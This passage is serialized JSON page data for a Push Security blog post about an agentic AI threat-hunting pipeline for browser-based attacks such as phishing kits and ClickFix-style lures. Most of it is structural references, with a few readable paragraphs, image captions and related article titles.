nodeType":996},{"target":50541},{"sys":50542},{"id":18934,"type":1001,"linkType":1002},[],{"data":50545,"content":50546,"nodeType":860},{},[50547],{"data":50548,"marks":50549,"value":18942,"nodeType":864},{},[],{"data":50551,"content":50552,"nodeType":1312},{},[50553],{"data":50554,"marks":50555,"value":18950,"nodeType":864},{},[50556],{"type":899},{"data":50558,"content":50559,"nodeType":860},{},[50560],{"data":50561,"marks":50562,"value":18957,"nodeType":864},{},[],{"data":50564,"content":50565,"nodeType":941},{},[50566,50579,50592,50605,50618],{"data":50567,"content":50568,"nodeType":945},{},[50569],{"data":50570,"content":50571,"nodeType":860},{},[50572,50576],{"data":50573,"marks":50574,"value":18971,"nodeType":864},{},[50575],{"type":899},{"data":50577,"marks":50578,"value":18975,"nodeType":864},{},[],{"data":50580,"content":50581,"nodeType":945},{},[50582],{"data":50583,"content":50584,"nodeType":860},{},[50585,50589],{"data":50586,"marks":50587,"value":18986,"nodeType":864},{},[50588],{"type":899},{"data":50590,"marks":50591,"value":18990,"nodeType":864},{},[],{"data":50593,"content":50594,"nodeType":945},{},[50595],{"data":50596,"content":50597,"nodeType":860},{},[50598,50602],{"data":50599,"marks":50600,"value":19001,"nodeType":864},{},[50601],{"type":899},{"data":50603,"marks":50604,"value":19005,"nodeType":864},{},[],{"data":50606,"content":50607,"nodeType":945},{},[50608],{"data":50609,"content":50610,"nodeType":860},{},[50611,50615],{"data":50612,"marks":50613,"value":19016,"nodeType":864},{},[50614],{"type":899},{"data":50616,"marks":50617,"value":19020,"nodeType":864},{},[],{"data":50619,"content":50620,"nodeType":945},{},[50621],{"data":50622,"content":50623,"nodeType":860},{},[50624,50628],{"data":50625,"marks":50626,"value":19031,"nodeType":864},{},[50627],{"type":899},{"data":50629,"marks":50630,"value":19035,"nodeType":864},{},[],{"data":50632,"content":50635,"nodeType":996},{"target":50633},{"sys":50634},{"id":19040,"type":1001,"linkType":1002},[],{"data":50637,"content":50638,"nodeType":1312},{},[50639],{"data":50640,"marks":50641,"value":19049,"nodeType":864},{},[50642],{"type":899},{"data":50644,"content":50645,"nodeType":860},{},[50646,50649,50653],{"data":50647,"marks":50648,"value":19056,"nodeType":864},{},[],{"data":50650,"marks":50651,"value":19061,"nodeType":864},{},[50652],{"type":899},{"data":50654,"marks":50655,"value":19065,"nodeType":864},{},[],{"data":50657,"content":50658,"nodeType":860},{},[50659],{"data":50660,"marks":50661,"value":19072,"nodeType":864},{},[],{"data":50663,"content":50666,"nodeType":996},{"target":50664},{"sys":50665},{"id":19077,"type":1001,"linkType":1002},[],{"data":50668,"content":50669,"nodeType":860},{},[50670],{"data":50671,"marks":50672,"value":19085,"nodeType":864},{},[],{"data":50674,"content":50675,"nodeType":860},{},[50676,50679,50683],{"data":50677,"marks":50678,"value":19092,"nodeType":864},{},[],{"data":50680,"marks":50681,"value":19097,"nodeType":864},{},[50682],{"type":899},{"data":50684,"marks":50685,"value":19101,"nodeType":864},{},[],{"data":50687,"content":50688,"nodeType":1005},{},[],{"data":50690,"content":50691,"nodeType":1009},{},[50692],{"data":50693,"marks":50694,"value":19112,"nodeType":864},{},[50695],{"type":899},{"data":50697,"content":50698,"nodeType":860},{},[50699],{"data":50700,"marks":50701,"value":19119,"nodeType":864},{},[],{"data":50703,"content":50704,"nodeType":860},{},[50705],{"data":50706,"marks":50707,"value":19126,"nodeType":864},{},[],{"data":50709,"content":50712,"nodeType":996},{"target":50710},{"sys":50711},{"id":19131,"type":1001,"linkType":1002},[],{"data":50714,"content":50715,"nodeType":860},{},[50716],{"data":50717,"marks":50718,"value":19139,"nodeType":864},{},[],{"data":50720,"content":50721,"nodeType":941},{},[50722,50740,50749],{"data":50723,"content":50724,"nodeType":945},{},[50725],{"data":50726,"content":50727,"nodeType":860},{},[50728,50731,50737],{"data":50729,"marks":50730,"value":19152,"nodeType":864},{},[],{"data":50732,"content":50733,"nodeType":883},{"uri":19155},[50734],{"data":50735,"marks":50736,"value":1578,"nodeType":864},{},[],{"data":50738,"marks":50739,"value":19163,"nodeType":864},{},[],{"data":50741,"content":50742,"nodeType":945},{},[50743],{"data":50744,"content":50745,"nodeType":860},{},[50746],{"data":50747,"marks":50748,"value":19173,"nodeType":864},{},[],{"data":50750,"content":50751,"nodeType":945},{},[50752],{"data":50753,"content":50754,"nodeType":860},{},[50755],{"data":50756,"marks":50757,"value":19183,"nodeType":864},{},[],{"data":50759,"content":50760,"nodeType":860},{},[50761],{"data":50762,"marks":50763,"value":19190,"nodeType":864},{},[],{"data":50765,"content":50766,"nodeType":860},{},[50767],{"data":50768,"marks":50769,"value":19197,"nodeType":864},{},[],{"data":50771,"content":50772,"nodeType":860},{},[50773],{"data":50774,"marks":50775,"value":19204,"nodeType":864},{},[],{"data":50777,"content":50780,"nodeType":996},{"target":50778},{"sys":50779},{"id":19209,"type":1001,"linkType":1002},[],{"data":50782,"content":50783,"nodeType":1005},{},[],{"data":50785,"content":50786,"nodeType":1009},{},[50787],{"data":50788,"marks":50789,"value":19221,"nodeType":864},{},[50790],{"type":899},{"data":50792,"content":50793,"nodeType":860},{},[50794],{"data":50795,"marks":50796,"value":1682,"nodeType":864},{},[],{"data":50798,"content":50799,"nodeType":860},{},[50800],{"data":50801,"marks":50802,"value":1689,"nodeType":864},{},[],{"data":50804,"content":50805,"nodeType":860},{},[50806,50809,50815],{"data":50807,"marks":50808,"value":2707,"nodeType":864},{},[],{"data":50810,"content":50811,"nodeType":883},{"uri":19242},[50812],{"data":50813,"marks":50814,"value":2715,"nodeType":864},{},[],{"data":50816,"marks":50817,"value":2719,"nodeType":864},{},[],{"entries":50819},{"inline":50820,"hyperlink":50821,"block":50848},[],[50822,50826,50828,50830,50832,50836,50840,50844],{"sys":50823,"__typename":2059,"title":50824,"slug":50825},{"id":18339},"How cyber criminals power malvertising scams with stolen accounts","cyber-criminal-ecosystem-analysis",{"sys":50827,"__typename":2059,"title":26093,"slug":26096},{"id":18395},{"sys":50829,"__typename":2059,"title":6584,"slug":6587},{"id":5746},{"sys":50831,"__typename":2059,"title":31601,"slug":361},{"id":18517},{"sys":50833,"__typename":2059,"title":50834,"slug":50835},{"id":18541},"ConsentFix: Analyzing a browser-native ClickFix-style attack that hijacks OAuth consent grants","consentfix",{"sys":50837,"__typename":2059,"title":50838,"slug":50839},{"id":18567},"Google Search malvertising campaign continues, now impersonating Ahrefs","google-search-malvertising-campaign-continues-now-impersonating-ahrefs",{"sys":50841,"__typename":2059,"title":50842,"slug":50843},{"id":18591},"Uncovering a Calendly-themed phishing campaign targeting business ad manager accounts","uncovering-a-calendly-themed-phishing-campaign",{"sys":50845,"__typename":2059,"title":50846,"slug":50847},{"id":18678},"Our design philosophy: Detecting what matters","our-design-philosophy-detecting-what-matters",[50849,50870,50873,50905,50912,50917,50924,50932,50946,50953],{"sys":50850,"__typename":1740,"content":50851,"name":50869,"title":59},{"id":18442},{"json":50852},{"nodeType":856,"data":50853,"content":50854},{},[50855,50862],{"nodeType":860,"data":50856,"content":50857},{},[50858],{"nodeType":864,"value":50859,"marks":50860,"data":50861},"In this article, we’ll outline how Push uses AI agents as a force multiplier for identifying emerging threats that target organizations via the browser — think: ClickFix, vibecoded phishing sites, AiTM kits, cloned login pages, ConsentFix attacks, malicious OAuth apps, device code phishing, sites impersonating Claude Code installers, etc. — and share what we’ve learned. ",[],{},{"nodeType":860,"data":50863,"content":50864},{},[50865],{"nodeType":864,"value":50866,"marks":50867,"data":50868},"We’ll cover the architectural decisions we made that enable the successful implementation of agents and some emerging best practices we’ve identified; discuss why our hunts focus on extracting techniques, not indicators; and illustrate how Push customers are benefitting from this agentic pipeline.",[],{},"Agentic Threat Hunting Blog IB1",{"sys":50871,"__typename":1724,"title":5248,"caption":5662,"layoutMode":59,"file":50872},{"id":4990},{"url":5664,"width":5665,"height":5666},{"sys":50874,"__typename":1740,"content":50875,"name":50904,"title":59},{"id":18617},{"json":50876},{"nodeType":856,"data":50877,"content":50878},{},[50879,50897],{"nodeType":860,"data":50880,"content":50881},{},[50882,50886,50893],{"nodeType":864,"value":50883,"marks":50884,"data":50885},"Push researchers are seeing ",[],{},{"nodeType":883,"data":50887,"content":50888},{"uri":15592},[50889],{"nodeType":864,"value":50890,"marks":50891,"data":50892},"extensive evidence of LLM use",[],{},{"nodeType":864,"value":50894,"marks":50895,"data":50896}," in attacks we detect, from LLM-generated phishing kits and tools to vibe-coded cloned pages, demonstrating how much adversaries have embraced these tools to expedite their work. ",[],{},{"nodeType":860,"data":50898,"content":50899},{},[50900],{"nodeType":864,"value":50901,"marks":50902,"data":50903},"In particular, we’ve observed operator-gated payload delivery that greatly reduces the likelihood that malicious sites will be flagged and added to known-bad detection lists because they’re only served to active targets, using gated landing pages, anti-bot checks, and other methods to evade proactive infrastructure scanning. This reinforces the need for browser-based detection at the point the user interacts with the page.",[],{},"Agentic Threat Hunting Blog IB2",{"sys":50906,"__typename":1724,"title":50907,"caption":50908,"layoutMode":59,"file":50909},{"id":18657},"Sample detection - blog article - custom branding","Sample detection details in the Push admin console for a blocked phishing event",{"url":50910,"width":1736,"height":50911},"https://images.ctfassets.net/y1cdw1ablpvd/6k8qVn1iYXbBl6lcHvphIa/dd802537d883cf6ddafdd78034c3412a/sample_detection.png",766,{"sys":50913,"__typename":50914,"title":50915,"youTubeUrl":50916},{"id":18707},"EmbeddedVideo","Adam Bateman: Agentic AI is a Force Multiplier","https://www.youtube.com/watch?v=F5Qv-su0qQA",{"sys":50918,"__typename":1724,"title":50919,"caption":50920,"layoutMode":59,"file":50921},{"id":18934},"Dissect agent output - agentic threat hunting blog","Summary from the work of Push’s deep investigation AI agent on the initial InstallFix attack detected by Push.",{"url":50922,"width":50923,"height":5703},"https://images.ctfassets.net/y1cdw1ablpvd/6t86kpGUwCVvrJEfVic1Cr/f41986585203764155d736d26cee2176/agentic_summary_example_installfix.png",1998,{"sys":50925,"__typename":1724,"title":50926,"caption":50927,"layoutMode":59,"file":50928},{"id":19040},"Detection engine diagram - agentic threat blog","The Push detection engine combines deep browser telemetry with agentic workflows to rapidly respond to emerging threats.  ",{"url":50929,"width":50930,"height":50931},"https://images.ctfassets.net/y1cdw1ablpvd/1zbE1t82gPo7pgqkAayTcZ/72046ea5db9b80c77053343223025163/platform_diagram_v3.png",1134,762,{"sys":50933,"__typename":1740,"content":50934,"name":50945,"title":59},{"id":19077},{"json":50935},{"data":50936,"content":50937,"nodeType":856},{},[50938],{"data":50939,"content":50940,"nodeType":860},{},[50941],{"data":50942,"marks":50943,"value":50944,"nodeType":864},{},[],"Use agents as an excuse to operationalize your internal knowledge once and for all. Every security team has a venerable silo of knowledge — that one person who just knows how to do that one major thing. Now, that can be an AI resource accessible to all, at any time, whenever you need it most.","Agentic Threat Hunting Blog IB4",{"sys":50947,"__typename":1724,"title":50948,"caption":50949,"layoutMode":59,"file":50950},{"id":19131},"Learning loops diagram - agentic threat blog","Two learning loops for known and unknown threats create a compounding effect for Push’s ability to defend against browser-based attacks.",{"url":50951,"width":50952,"height":50911},"https://images.ctfassets.net/y1cdw1ablpvd/6TQdqvjhG4AYHITcR1MV9s/b1e1c337f50005186f6022004543023b/learning_loops_v3.png",1001,{"sys":50954,"__typename":1717,"type":1718,"ctaText":50955,"buttonLabel":47833,"buttonColour":1721,"buttonUrl":50956},{"id":19209},"Book a demo to learn more about our agentic threat hunting capabilities and how they can benefit your security team.","https://site.dev.pushsecurity.com/demo/",{"items":50958},[],{},"How we built an agentic threat hunting pipeline at Push",{"items":50962},[50963,51452,52133],{"__typename":2059,"sys":50964,"content":50965,"title":17687,"synopsis":20530,"hashTags":59,"publishedDate":10555,"slug":20518,"tagsCollection":51442,"authorsCollection":51448},{"id":20532},{"json":50966},{"data":50967,"content":50968,"nodeType":856},{},[50969,50975,50981,50997,51004,51010,51017,51020,51026,51032,51047,51053,51060,51066,51072,51078,51084,51089,51092,51098,51104,51110,51125,51131,51137,51143,51149,51155,51161,51167,51173,51189,51195,51201,51207,51210,51216,51222,51228,51234,51239,51245,51251,51257,51263,51268,51274,51280,51286,51292,51314,51320,51326,51332,51338,51351,51357,51363,51369,51375,51380,51386,51392,51398,51403,51406,51412,51427],{"data":50970,"content":50971,"nodeType":860},{},[50972],{"data":50973,"marks":50974,"value":17702,"nodeType":864},{},[],{"data":50976,"content":50977,"nodeType":860},{},[50978],{"data":50979,"marks":50980,"value":17709,"nodeType":864},{},[],{"data":50982,"content":50983,"nodeType":860},{},[50984,50987,50994],{"data":50985,"marks":50986,"value":17716,"nodeType":864},{},[],{"data":50988,"content":50989,"nodeType":883},{"uri":17719},[50990],{"data":50991,"marks":50992,"value":17725,"nodeType":864},{},[50993],{"type":1455},{"data":50995,"marks":50996,"value":17729,"nodeType":864},{},[],{"data":50998,"content":50999,"nodeType":860},{},[51000],{"data":51001,"marks":51002,"value":17737,"nodeType":864},{},[51003],{"type":899},{"data":51005,"content":51006,"nodeType":860},{},[51007],{"data":51008,"marks":51009,"value":17744,"nodeType":864},{},[],{"data":51011,"content":51012,"nodeType":860},{},[51013],{"data":51014,"marks":51015,"value":17752,"nodeType":864},{},[51016],{"type":899},{"data":51018,"content":51019,"nodeType":1005},{},[],{"data":51021,"content":51022,"nodeType":1009},{},[51023],{"data":51024,"marks":51025,"value":17762,"nodeType":864},{},[],{"data":51027,"content":51028,"nodeType":860},{},[51029],{"data":51030,"marks":51031,"value":17769,"nodeType":864},{},[],{"data":51033,"content":51034,"nodeType":860},{},[51035,51038,51044],{"data":51036,"marks":51037,"value":2761,"nodeType":864},{},[],{"data":51039,"content":51040,"nodeType":883},{"uri":17778},[51041],{"data":51042,"marks":51043,"value":17783,"nodeType":864},{},[],{"data":51045,"marks":51046,"value":17787,"nodeType":864},{},[],{"data":51048,"content":51049,"nodeType":860},{},[51050],{"data":51051,"marks":51052,"value":17794,"nodeType":864},{},[],{"data":51054,"content":51055,"nodeType":860},{},[51056],{"data":51057,"marks":51058,"value":17802,"nodeType":864},{},[51059],{"type":899},{"data":51061,"content":51062,"nodeType":860},{},[51063],{"data":51064,"marks":51065,"value":17809,"nodeType":864},{},[],{"data":51067,"content":51068,"nodeType":860},{},[51069],{"data":51070,"marks":51071,"value":17816,"nodeType":864},{},[],{"data":51073,"content":51074,"nodeType":860},{},[51075],{"data":51076,"marks":51077,"value":17823,"nodeType":864},{},[],{"data":51079,"content":51080,"nodeType":860},{},[51081],{"data":51082,"marks":51083,"value":17830,"nodeType":864},{},[],{"data":51085,"content":51088,"nodeType":996},{"target":51086},{"sys":51087},{"id":17835,"type":1001,"linkType":1002},[],{"data":51090,"content":51091,"nodeType":1005},{},[],{"data":51093,"content":51094,"nodeType":1009},{},[51095],{"data":51096,"marks":51097,"value":17846,"nodeType":864},{},[],{"data":51099,"content":51100,"nodeType":860},{},[51101],{"data":51102,"marks":51103,"value":17853,"nodeType":864},{},[],{"data":51105,"content":51106,"nodeType":860},{},[51107],{"data":51108,"marks":51109,"value":17860,"nodeType":864},{},[],{"data":51111,"content":51112,"nodeType":860},{},[51113,51116,51122],{"data":51114,"marks":51115,"value":17867,"nodeType":864},{},[],{"data":51117,"content":51118,"nodeType":883},{"uri":17870},[51119],{"data":51120,"marks":51121,"value":17875,"nodeType":864},{},[],{"data":51123,"marks":51124,"value":17879,"nodeType":864},{},[],{"data":51126,"content":51127,"nodeType":860},{},[51128],{"data":51129,"marks":51130,"value":17886,"nodeType":864},{},[],{"data":51132,"content":51133,"nodeType":860},{},[51134],{"data":51135,"marks":51136,"value":17893,"nodeType":864},{},[],{"data":51138,"content":51139,"nodeType":1312},{},[51140],{"data":51141,"marks":51142,"value":17900,"nodeType":864},{},[],{"data":51144,"content":51145,"nodeType":860},{},[51146],{"data":51147,"marks":51148,"value":17907,"nodeType":864},{},[],{"data":51150,"content":51151,"nodeType":860},{},[51152],{"data":51153,"marks":51154,"value":17914,"nodeType":864},{},[],{"data":51156,"content":51157,"nodeType":1312},{},[51158],{"data":51159,"marks":51160,"value":17921,"nodeType":864},{},[],{"data":51162,"content":51163,"nodeType":860},{},[51164],{"data":51165,"marks":51166,"value":17928,"nodeType":864},{},[],{"data":51168,"content":51169,"nodeType":860},{},[51170],{"data":51171,"marks":51172,"value":17935,"nodeType":864},{},[],{"data":51174,"content":51175,"nodeType":860},{},[51176,51179,51186],{"data":51177,"marks":51178,"value":2761,"nodeType":864},{},[],{"data":51180,"content":51181,"nodeType":883},{"uri":6024},[51182],{"data":51183,"marks":51184,"value":17949,"nodeType":864},{},[51185],{"type":1455},{"data":51187,"marks":51188,"value":17953,"nodeType":864},{},[],{"data":51190,"content":51191,"nodeType":1312},{},[51192],{"data":51193,"marks":51194,"value":17960,"nodeType":864},{},[],{"data":51196,"content":51197,"nodeType":860},{},[51198],{"data":51199,"marks":51200,"value":17967,"nodeType":864},{},[],{"data":51202,"content":51203,"nodeType":860},{},[51204],{"data":51205,"marks":51206,"value":17974,"nodeType":864},{},[],{"data":51208,"content":51209,"nodeType":1005},{},[],{"data":51211,"content":51212,"nodeType":1009},{},[51213],{"data":51214,"marks":51215,"value":17984,"nodeType":864},{},[],{"data":51217,"content":51218,"nodeType":860},{},[51219],{"data":51220,"marks":51221,"value":17991,"nodeType":864},{},[],{"data":51223,"content":51224,"nodeType":860},{},[51225],{"data":51226,"marks":51227,"value":17998,"nodeType":864},{},[],{"data":51229,"content":51230,"nodeType":860},{},[51231],{"data":51232,"marks":51233,"value":18005,"nodeType":864},{},[],{"data":51235,"content":51238,"nodeType":996},{"target":51236},{"sys":51237},{"id":18010,"type":1001,"linkType":1002},[],{"data":51240,"content":51241,"nodeType":1312},{},[51242],{"data":51243,"marks":51244,"value":18018,"nodeType":864},{},[],{"data":51246,"content":51247,"nodeType":860},{},[51248],{"data":51249,"marks":51250,"value":18025,"nodeType":864},{},[],{"data":51252,"content":51253,"nodeType":860},{},[51254],{"data":51255,"marks":51256,"value":18032,"nodeType":864},{},[],{"data":51258,"content":51259,"nodeType":860},{},[51260],{"data":51261,"marks":51262,"value":18039,"nodeType":864},{},[],{"data":51264,"content":51267,"nodeType":996},{"target":51265},{"sys":51266},{"id":18044,"type":1001,"linkType":1002},[],{"data":51269,"content":51270,"nodeType":1312},{},[51271],{"data":51272,"marks":51273,"value":18052,"nodeType":864},{},[],{"data":51275,"content":51276,"nodeType":860},{},[51277],{"data":51278,"marks":51279,"value":18059,"nodeType":864},{},[],{"data":51281,"content":51282,"nodeType":860},{},[51283],{"data":51284,"marks":51285,"value":18066,"nodeType":864},{},[],{"data":51287,"content":51288,"nodeType":860},{},[51289],{"data":51290,"marks":51291,"value":18073,"nodeType":864},{},[],{"data":51293,"content":51294,"nodeType":1116},{},[51295],{"data":51296,"content":51297,"nodeType":860},{},[51298,51301,51307,51310],{"data":51299,"marks":51300,"value":7949,"nodeType":864},{},[],{"data":51302,"content":51303,"nodeType":883},{"uri":7952},[51304],{"data":51305,"marks":51306,"value":7957,"nodeType":864},{},[],{"data":51308,"marks":51309,"value":7961,"nodeType":864},{},[],{"data":51311,"marks":51312,"value":7966,"nodeType":864},{},[51313],{"type":2246},{"data":51315,"content":51316,"nodeType":860},{},[51317],{"data":51318,"marks":51319,"value":18102,"nodeType":864},{},[],{"data":51321,"content":51322,"nodeType":860},{},[51323],{"data":51324,"marks":51325,"value":18109,"nodeType":864},{},[],{"data":51327,"content":51328,"nodeType":860},{},[51329],{"data":51330,"marks":51331,"value":18116,"nodeType":864},{},[],{"data":51333,"content":51334,"nodeType":1312},{},[51335],{"data":51336,"marks":51337,"value":18123,"nodeType":864},{},[],{"data":51339,"content":51340,"nodeType":860},{},[51341,51344,51348],{"data":51342,"marks":51343,"value":18130,"nodeType":864},{},[],{"data":51345,"marks":51346,"value":18135,"nodeType":864},{},[51347],{"type":899},{"data":51349,"marks":51350,"value":18139,"nodeType":864},{},[],{"data":51352,"content":51353,"nodeType":860},{},[51354],{"data":51355,"marks":51356,"value":18146,"nodeType":864},{},[],{"data":51358,"content":51359,"nodeType":860},{},[51360],{"data":51361,"marks":51362,"value":18153,"nodeType":864},{},[],{"data":51364,"content":51365,"nodeType":860},{},[51366],{"data":51367,"marks":51368,"value":18160,"nodeType":864},{},[],{"data":51370,"content":51371,"nodeType":860},{},[51372],{"data":51373,"marks":51374,"value":18167,"nodeType":864},{},[],{"data":51376,"content":51379,"nodeType":996},{"target":51377},{"sys":51378},{"id":18172,"type":1001,"linkType":1002},[],{"data":51381,"content":51382,"nodeType":1312},{},[51383],{"data":51384,"marks":51385,"value":18180,"nodeType":864},{},[],{"data":51387,"content":51388,"nodeType":860},{},[51389],{"data":51390,"marks":51391,"value":18187,"nodeType":864},{},[],{"data":51393,"content":51394,"nodeType":860},{},[51395],{"data":51396,"marks":51397,"value":18194,"nodeType":864},{},[],{"data":51399,"content":51402,"nodeType":996},{"target":51400},{"sys":51401},{"id":18199,"type":1001,"linkType":1002},[],{"data":51404,"content":51405,"nodeType":1005},{},[],{"data":51407,"content":51408,"nodeType":1009},{},[51409],{"data":51410,"marks":51411,"value":18210,"nodeType":864},{},[],{"data":51413,"content":51414,"nodeType":860},{},[51415,51418,51424],{"data":51416,"marks":51417,"value":18217,"nodeType":864},{},[],{"data":51419,"content":51420,"nodeType":883},{"uri":17719},[51421],{"data":51422,"marks":51423,"value":18224,"nodeType":864},{},[],{"data":51425,"marks":51426,"value":2924,"nodeType":864},{},[],{"data":51428,"content":51429,"nodeType":860},{},[51430,51433,51439],{"data":51431,"marks":51432,"value":18234,"nodeType":864},{},[],{"data":51434,"content":51435,"nodeType":883},{"uri":1700},[51436],{"data":51437,"marks":51438,"value":18241,"nodeType":864},{},[],{"data":51440,"marks":51441,"value":2924,"nodeType":864},{},[],{"items":51443},[51444,51446],{"sys":51445,"name":297},{"id":2732},{"sys":51447,"name":6593},{"id":6592},{"items":51449},[51450],{"fullName":849,"firstName":850,"jobTitle":851,"profilePicture":51451},{"url":853},{"__typename":2059,"sys":51453,"content":51454,"title":7391,"synopsis":7392,"hashTags":59,"publishedDate":7393,"slug":7394,"tagsCollection":52123,"authorsCollection":52129},{"id":6603},{"json":51455},{"data":51456,"content":51457,"nodeType":856},{},[51458,51464,51470,51494,51500,51505,51510,51520,51523,51530,51543,51549,51554,51560,51566,51571,51574,51581,51587,51592,51597,51603,51609,51624,51629,51632,51639,51654,51659,51665,51668,51675,51681,51687,51692,51697,51731,51737,51740,51747,51753,51759,51792,51798,51822,51828,51861,51867,51870,51877,51892,51898,51905,51918,51924,51939,51945,51948,51954,51960,51976,51979,51986,52001,52007,52117],{"data":51459,"content":51460,"nodeType":860},{},[51461],{"data":51462,"marks":51463,"value":6614,"nodeType":864},{},[],{"data":51465,"content":51466,"nodeType":860},{},[51467],{"data":51468,"marks":51469,"value":6621,"nodeType":864},{},[],{"data":51471,"content":51472,"nodeType":860},{},[51473,51476,51482,51485,51491],{"data":51474,"marks":51475,"value":6628,"nodeType":864},{},[],{"data":51477,"content":51478,"nodeType":883},{"uri":6631},[51479],{"data":51480,"marks":51481,"value":6636,"nodeType":864},{},[],{"data":51483,"marks":51484,"value":6640,"nodeType":864},{},[],{"data":51486,"content":51487,"nodeType":883},{"uri":6643},[51488],{"data":51489,"marks":51490,"value":6648,"nodeType":864},{},[],{"data":51492,"marks":51493,"value":6652,"nodeType":864},{},[],{"data":51495,"content":51496,"nodeType":860},{},[51497],{"data":51498,"marks":51499,"value":6659,"nodeType":864},{},[],{"data":51501,"content":51504,"nodeType":996},{"target":51502},{"sys":51503},{"id":6664,"type":1001,"linkType":1002},[],{"data":51506,"content":51509,"nodeType":996},{"target":51507},{"sys":51508},{"id":6670,"type":1001,"linkType":1002},[],{"data":51511,"content":51512,"nodeType":860},{},[51513,51517],{"data":51514,"marks":51515,"value":6679,"nodeType":864},{},[51516],{"type":899},{"data":51518,"marks":51519,"value":6683,"nodeType":864},{},[],{"data":51521,"content":51522,"nodeType":1005},{},[],{"data":51524,"content":51525,"nodeType":1009},{},[51526],{"data":51527,"marks":51528,"value":6694,"nodeType":864},{},[51529],{"type":899},{"data":51531,"content":51532,"nodeType":860},{},[51533,51536,51540],{"data":51534,"marks":51535,"value":6701,"nodeType":864},{},[],{"data":51537,"marks":51538,"value":6706,"nodeType":864},{},[51539],{"type":2246},{"data":51541,"marks":51542,"value":6710,"nodeType":864},{},[],{"data":51544,"content":51545,"nodeType":860},{},[51546],{"data":51547,"marks":51548,"value":6717,"nodeType":864},{},[],{"data":51550,"content":51553,"nodeType":996},{"target":51551},{"sys":51552},{"id":6722,"type":1001,"linkType":1002},[],{"data":51555,"content":51556,"nodeType":860},{},[51557],{"data":51558,"marks":51559,"value":6730,"nodeType":864},{},[],{"data":51561,"content":51562,"nodeType":860},{},[51563],{"data":51564,"marks":51565,"value":6737,"nodeType":864},{},[],{"data":51567,"content":51570,"nodeType":996},{"target":51568},{"sys":51569},{"id":6742,"type":1001,"linkType":1002},[],{"data":51572,"content":51573,"nodeType":1005},{},[],{"data":51575,"content":51576,"nodeType":1009},{},[51577],{"data":51578,"marks":51579,"value":6754,"nodeType":864},{},[51580],{"type":899},{"data":51582,"content":51583,"nodeType":860},{},[51584],{"data":51585,"marks":51586,"value":6761,"nodeType":864},{},[],{"data":51588,"content":51591,"nodeType":996},{"target":51589},{"sys":51590},{"id":6766,"type":1001,"linkType":1002},[],{"data":51593,"content":51596,"nodeType":996},{"target":51594},{"sys":51595},{"id":6772,"type":1001,"linkType":1002},[],{"data":51598,"content":51599,"nodeType":860},{},[51600],{"data":51601,"marks":51602,"value":6780,"nodeType":864},{},[],{"data":51604,"content":51605,"nodeType":860},{},[51606],{"data":51607,"marks":51608,"value":6787,"nodeType":864},{},[],{"data":51610,"content":51611,"nodeType":860},{},[51612,51615,51621],{"data":51613,"marks":51614,"value":6794,"nodeType":864},{},[],{"data":51616,"content":51617,"nodeType":883},{"uri":6797},[51618],{"data":51619,"marks":51620,"value":6802,"nodeType":864},{},[],{"data":51622,"marks":51623,"value":2924,"nodeType":864},{},[],{"data":51625,"content":51628,"nodeType":996},{"target":51626},{"sys":51627},{"id":6810,"type":1001,"linkType":1002},[],{"data":51630,"content":51631,"nodeType":1005},{},[],{"data":51633,"content":51634,"nodeType":1009},{},[51635],{"data":51636,"marks":51637,"value":6822,"nodeType":864},{},[51638],{"type":899},{"data":51640,"content":51641,"nodeType":860},{},[51642,51645,51651],{"data":51643,"marks":51644,"value":6829,"nodeType":864},{},[],{"data":51646,"content":51647,"nodeType":883},{"uri":6631},[51648],{"data":51649,"marks":51650,"value":6836,"nodeType":864},{},[],{"data":51652,"marks":51653,"value":6840,"nodeType":864},{},[],{"data":51655,"content":51658,"nodeType":996},{"target":51656},{"sys":51657},{"id":6845,"type":1001,"linkType":1002},[],{"data":51660,"content":51661,"nodeType":860},{},[51662],{"data":51663,"marks":51664,"value":6853,"nodeType":864},{},[],{"data":51666,"content":51667,"nodeType":1005},{},[],{"data":51669,"content":51670,"nodeType":1009},{},[51671],{"data":51672,"marks":51673,"value":6864,"nodeType":864},{},[51674],{"type":899},{"data":51676,"content":51677,"nodeType":860},{},[51678],{"data":51679,"marks":51680,"value":6871,"nodeType":864},{},[],{"data":51682,"content":51683,"nodeType":860},{},[51684],{"data":51685,"marks":51686,"value":6878,"nodeType":864},{},[],{"data":51688,"content":51691,"nodeType":996},{"target":51689},{"sys":51690},{"id":6883,"type":1001,"linkType":1002},[],{"data":51693,"content":51696,"nodeType":996},{"target":51694},{"sys":51695},{"id":6889,"type":1001,"linkType":1002},[],{"data":51698,"content":51699,"nodeType":860},{},[51700,51703,51709,51712,51718,51721,51728],{"data":51701,"marks":51702,"value":6897,"nodeType":864},{},[],{"data":51704,"content":51705,"nodeType":883},{"uri":6900},[51706],{"data":51707,"marks":51708,"value":6905,"nodeType":864},{},[],{"data":51710,"marks":51711,"value":6909,"nodeType":864},{},[],{"data":51713,"content":51714,"nodeType":883},{"uri":6912},[51715],{"data":51716,"marks":51717,"value":6917,"nodeType":864},{},[],{"data":51719,"marks":51720,"value":902,"nodeType":864},{},[],{"data":51722,"content":51723,"nodeType":883},{"uri":6923},[51724],{"data":51725,"marks":51726,"value":6929,"nodeType":864},{},[51727],{"type":1455},{"data":51729,"marks":51730,"value":6933,"nodeType":864},{},[],{"data":51732,"content":51733,"nodeType":860},{},[51734],{"data":51735,"marks":51736,"value":6940,"nodeType":864},{},[],{"data":51738,"content":51739,"nodeType":1005},{},[],{"data":51741,"content":51742,"nodeType":1009},{},[51743],{"data":51744,"marks":51745,"value":6951,"nodeType":864},{},[51746],{"type":899},{"data":51748,"content":51749,"nodeType":860},{},[51750],{"data":51751,"marks":51752,"value":6958,"nodeType":864},{},[],{"data":51754,"content":51755,"nodeType":1312},{},[51756],{"data":51757,"marks":51758,"value":6965,"nodeType":864},{},[],{"data":51760,"content":51761,"nodeType":860},{},[51762,51765,51771,51774,51780,51783,51789],{"data":51763,"marks":51764,"value":6972,"nodeType":864},{},[],{"data":51766,"content":51767,"nodeType":883},{"uri":6975},[51768],{"data":51769,"marks":51770,"value":6980,"nodeType":864},{},[],{"data":51772,"marks":51773,"value":6984,"nodeType":864},{},[],{"data":51775,"content":51776,"nodeType":883},{"uri":6987},[51777],{"data":51778,"marks":51779,"value":6992,"nodeType":864},{},[],{"data":51781,"marks":51782,"value":6996,"nodeType":864},{},[],{"data":51784,"content":51785,"nodeType":883},{"uri":6999},[51786],{"data":51787,"marks":51788,"value":7004,"nodeType":864},{},[],{"data":51790,"marks":51791,"value":7008,"nodeType":864},{},[],{"data":51793,"content":51794,"nodeType":1312},{},[51795],{"data":51796,"marks":51797,"value":7015,"nodeType":864},{},[],{"data":51799,"content":51800,"nodeType":860},{},[51801,51804,51810,51813,51819],{"data":51802,"marks":5